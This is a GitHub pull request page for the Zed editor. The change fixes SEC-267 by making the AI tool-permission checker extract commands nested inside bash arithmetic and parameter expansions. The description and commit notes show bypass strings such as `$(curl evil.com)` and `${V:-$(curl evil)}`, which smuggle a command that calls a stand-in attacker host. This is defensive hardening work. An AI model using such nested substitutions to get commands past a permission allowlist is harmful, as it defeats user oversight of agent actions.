Extract nested command substitutions from arithmetic expansions - #54690
Merged
Conversation
cla-bot
Bot
added
the
cla-signed
zed-community-bot
Bot
added
the
staff
rtfeldman
marked this pull request as ready for review
April 24, 2026 15:19
Addresses code review feedback on the SEC-267 fix:
1. Use `?` to propagate brush word parse failures from
`ArithmeticExpression` instead of silently swallowing them with
`if let Ok(...)`. The codebase convention is that `None` from
`extract_commands` means "parse failed", which causes callers
(e.g. `ToolPermissionDecision::from_input`) to fall back to
raw-string allowlist matching. Silently dropping a parse failure
here meant the outer command was returned alone and the inner
contents were never checked.
2. Recurse into `ParameterExpansion` to extract command substitutions
from default values, alternative values, error messages, patterns,
replacements, and substring offsets/lengths. This is the symmetric
fix for the same class of bug as arithmetic. The `validate`
pre-check rejects these as `Unsafe` today, but defense-in-depth:
a future change to `validate` should not silently re-introduce
an allowlist bypass via `${V:-$(curl evil)}`,
`${V/pat/$(curl evil)}`, or `${V:$(($(curl))):1}`.
3. Add tests covering doubly-nested arithmetic, arithmetic inside
double quotes, and each `ParameterExpr` variant that subjects a
user-supplied string to command substitution at expansion time.
…metic-substitutions
swannysec
approved these changes
May 5, 2026
ebaah46
pushed a commit
to ebaah46/zed
that referenced
this pull request
May 6, 2026
…industries#54690) Bash arithmetic expansion `$((...))` can contain command substitutions like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece` treated `ArithmeticExpression` as a no-op, so nested commands inside `$(( ... ))` were never extracted for allowlist checking. This fix re-parses the `ArithmeticExpression` value string using `brush_parser::word::parse` and recursively extracts any embedded command substitutions, mirroring how `CommandSubstitution` and `DoubleQuotedSequence` are already handled. Closes SEC-267 Release Notes: - Commands nested inside bash arithmetic expansions (e.g. `$(($(curl example.com)))`) are now understood by the tool-calling permissions regexes.
This was referenced May 13, 2026
jonx
pushed a commit
to jonx/zed-aros
that referenced
this pull request
Jul 17, 2026
…industries#54690) Bash arithmetic expansion `$((...))` can contain command substitutions like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece` treated `ArithmeticExpression` as a no-op, so nested commands inside `$(( ... ))` were never extracted for allowlist checking. This fix re-parses the `ArithmeticExpression` value string using `brush_parser::word::parse` and recursively extracts any embedded command substitutions, mirroring how `CommandSubstitution` and `DoubleQuotedSequence` are already handled. Closes SEC-267 Release Notes: - Commands nested inside bash arithmetic expansions (e.g. `$(($(curl example.com)))`) are now understood by the tool-calling permissions regexes.
jolutz
pushed a commit
to jolutz/zed
that referenced
this pull request
Aug 8, 2026
…industries#54690) Bash arithmetic expansion `$((...))` can contain command substitutions like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece` treated `ArithmeticExpression` as a no-op, so nested commands inside `$(( ... ))` were never extracted for allowlist checking. This fix re-parses the `ArithmeticExpression` value string using `brush_parser::word::parse` and recursively extracts any embedded command substitutions, mirroring how `CommandSubstitution` and `DoubleQuotedSequence` are already handled. Closes SEC-267 Release Notes: - Commands nested inside bash arithmetic expansions (e.g. `$(($(curl example.com)))`) are now understood by the tool-calling permissions regexes.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Bash arithmetic expansion
$((...))can contain command substitutions like$(curl evil.com). Previously,extract_commands_from_word_piecetreatedArithmeticExpressionas a no-op, so nested commands inside$(( ... ))were never extracted for allowlist checking.This fix re-parses the
ArithmeticExpressionvalue string usingbrush_parser::word::parseand recursively extracts any embedded command substitutions, mirroring howCommandSubstitutionandDoubleQuotedSequenceare already handled.Closes SEC-267
Release Notes:
$(($(curl example.com)))) are now understood by the tool-calling permissions regexes.